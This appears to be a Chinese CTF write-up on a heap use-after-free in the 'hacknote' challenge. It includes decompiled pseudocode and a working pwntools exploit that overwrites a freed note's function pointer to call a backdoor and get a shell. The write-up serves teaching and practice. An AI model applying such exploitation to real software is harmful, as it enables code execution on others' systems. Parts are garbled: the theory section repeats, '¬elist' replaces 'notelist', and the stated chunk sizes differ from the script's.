原理 :
简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况
- 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
- 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
- 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。
例题 ida:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| unsigned int add_note() { int v0; int i; int size; char buf[8]; unsigned int v5;
v5 = __readgsdword(0x14u); if ( count <= 5 ) { for ( i = 0; i <= 4; ++i ) { if ( !*(¬elist + i) ) { *(¬elist + i) = malloc(8u); if ( !*(¬elist + i) ) { puts("Alloca Error"); exit(-1); } *(_DWORD *)*(¬elist + i) = print_note_content; printf("Note size :"); read(0, buf, 8u); size = atoi(buf); v0 = (int)*(¬elist + i); *(_DWORD *)(v0 + 4) = malloc(size); if ( !*((_DWORD *)*(¬elist + i) + 1) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *((void **)*(¬elist + i) + 1), size); puts("Success !"); ++count; return __readgsdword(0x14u) ^ v5; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ v5; }
|
解释:
1.申请两个堆块第一个堆块大小0x8(加上堆的头部0x10)并将堆指针所在的地址的内容写为(print_note_content)
2.申请第二个堆块大小自己定作为用户数据段(但是也有堆头也就是0x28),并将堆指针所在地址后面四个字节写入第二个堆块的指针所指的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| unsigned int del_note() { int v1; char buf[4]; unsigned int v3;
v3 = __readgsdword(0x14u); printf("Index :"); read(0, buf, 4u); v1 = atoi(buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( *(¬elist + v1) ) { free(*((void **)*(¬elist + v1) + 1)); free(*(¬elist + v1)); puts("Success"); } return __readgsdword(0x14u) ^ v3; }
|
清空两个堆块,但没有将指针置零,指针变为悬挂指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| unsigned int print_note() { int v1; char buf[4]; unsigned int v3;
v3 = __readgsdword(0x14u); printf("Index :"); read(0, buf, 4u); v1 = atoi(buf); if ( v1 < 0 || v1 >= count ) { puts("Out of bound!"); _exit(0); } if ( *(¬elist + v1) ) (*(void (__cdecl **)(_DWORD))*(¬elist + v1))(*(¬elist + v1)); return __readgsdword(0x14u) ^ v3; }
|
引用后得到的函数指针所指向的函数(也就是print_note_content),同时将 *(¬elist + v1) 作为参数传递给该函数(也就是将堆块的内容打印出来)
UAF漏洞
定义
堆 UAF 漏洞指的是程序在释放堆内存之后,没有将对应的指针置为 NULL,并且后续代码又对该已经释放的内存进行了访问操作。这种情况下,被释放的内存可能会被重新分配给其他对象使用,此时对原指针的访问就会导致数据混乱、程序崩溃,甚至可能被攻击者利用来执行任意代码
原理
简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况
- 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
- 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
- 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题
思路:
- 申请 note0,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
- 申请 note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
- 释放 note0
- 释放 note1
- 此时,大小为 16 的 fast bin chunk 中链表为 note1->note0
- 申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则
- note2 其实会分配 note1 对应的内存块。
- real content 对应的 chunk 其实是 note0。
- 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import *
r = process('./hacknote')
def addnote(size, content): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(size)) r.recvuntil(":") r.sendline(content)
def delnote(idx): r.recvuntil(":") r.sendline("2") r.recvuntil(":") r.sendline(str(idx))
def printnote(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx))
magic = 0x08048986
addnote(32, "aaaa") addnote(32, "ddaa") gdb.attach(r) delnote(0) delnote(1)
addnote(8, p32(magic))
printnote(0)
r.interactive()
|
申请四个堆块(也就是两个0,1),将两个堆块free,在申请一个(2),这时候之前申请的两个0x10的堆块就会被重新启用,先free的A的指针内的内容就会被改为后门地址,print_note(0),本来会调用print_note_content,但是内容被改为了后门地址就会调用后门的函数获得shell
为什么不是print_note(1),因为申请一次堆块其实是申请出来了两个堆块,第二个堆块内才被写入数据,所以不是print_note(1)